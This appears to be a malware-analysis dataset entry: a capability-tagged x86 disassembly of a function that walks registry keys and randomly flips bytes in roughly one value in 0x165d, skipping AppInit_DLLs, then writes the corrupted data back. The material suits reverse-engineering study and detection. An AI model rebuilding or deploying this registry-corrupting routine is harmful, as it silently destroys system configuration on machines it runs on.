Function at 0x4046e0
Capabilities:
Generate random numbers via winapi
Query or enumerate registry key
Query or enumerate registry value
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x424040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x208
mov ebx, ecx
push 0
mov dword [ebp - 0x24], ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
lea ecx, [ebp - 0x18]
push 0
push 0
push 0
push 0
push ecx
push eax
push 0
push ebx
mov dword [ebp - 0x28], eax
mov esi, 1
mov dword [ebp - 0x18], 0x104
call edi
cmp eax, 0x103
je 0x40478b
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
nop dword [eax]
lea eax, [ebp - 0x20]
push eax
push 0x2001f
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x24]
call ebx
test eax, eax
jne 0x404764
mov ecx, dword [ebp - 0x20]
mov edx, 0x165d
call fcn.004046e0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0x104
push eax
push dword [ebp - 0x28]
push esi
push dword [ebp - 0x24]
call edi
inc esi
cmp eax, 0x103
jne 0x404740
mov ebx, dword [ebp - 0x24]
push 0x2000
push 0
mov dword [ebp - 0x1c], 0x2000
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [ebp - 0x28]
lea ecx, [ebp - 0x1c]
push ecx
push eax
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 8]
push eax
push 0
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0x104
push eax
push edi
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov esi, eax
mov dword [ebp - 0x20], 1
cmp esi, 0x103
je 0x40497e
mov ebx, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
mov eax, dword [0x424710]
test eax, eax
jne 0x40480d
push 0xf0000040
push 1
push eax
push eax
push 0x424710
call ebx
test eax, eax
je 0x4049a4
mov eax, dword [0x424710]
lea ecx, [ebp - 0xc]
push ecx
push 4
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov eax, dword [ebp - 0xc]
xor edx, edx
and eax, 0x7fffffff
mov ecx, 0x165d
div ecx
test edx, edx
je 0x40493e
test esi, esi
jne 0x40493e
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push str.AppInit_DLLs
mov esi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, esi
jg 0x40486c
sub esi, eax
push str.AppInit_DLLs
lea eax, [edi + esi*2]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x40493e
mov edi, dword [ebp - 0x1c]
xor esi, esi
test edi, edi
je 0x40491c
nop dword [eax]
mov eax, dword [0x424710]
test eax, eax
jne 0x4048a6
push 0xf0000040
push 1
push eax
push eax
push 0x424710
call ebx
test eax, eax
je 0x4049a4
mov eax, dword [0x424710]
lea ecx, [ebp - 0x10]
push ecx
push 4
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov eax, dword [ebp - 0x10]
xor edx, edx
and eax, 0x7fffffff
mov ecx, 0x165d
div ecx
test edx, edx
je 0x404910
mov eax, dword [0x424710]
test eax, eax
jne 0x4048ee
push 0xf0000040
push 1
push eax
push eax
push 0x424710
call ebx
test eax, eax
je 0x4049a4
mov eax, dword [0x424710]
lea ecx, [ebp - 0x14]
push ecx
push 4
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test byte [ebp - 0x14], 1
mov ecx, dword [ebp - 0x2c]
mov al, byte [esi + ecx]
jne 0x40490b
dec al
jmp 0x40490d
inc al
mov byte [esi + ecx], al
inc esi
cmp esi, edi
jb 0x404880
mov edi, dword [ebp - 0x1c]
push edi
push dword [ebp - 0x2c]
mov edi, dword [ebp - 0x28]
push dword [ebp - 8]
push 0
push edi
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x40493e
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x2000
push eax
push dword [ebp - 0x2c]
lea eax, [ebp - 8]
mov dword [ebp - 0x18], 0x104
push eax
push 0
lea eax, [ebp - 0x18]
push eax
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
inc dword [ebp - 0x20]
mov esi, eax
cmp esi, 0x103
jne 0x4047e7
mov ebx, dword [ebp - 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_LocalFree]
push edi
call esi
push dword [ebp - 0x2c]
call esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004194ef
mov esp, ebp
pop ebp
ret
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]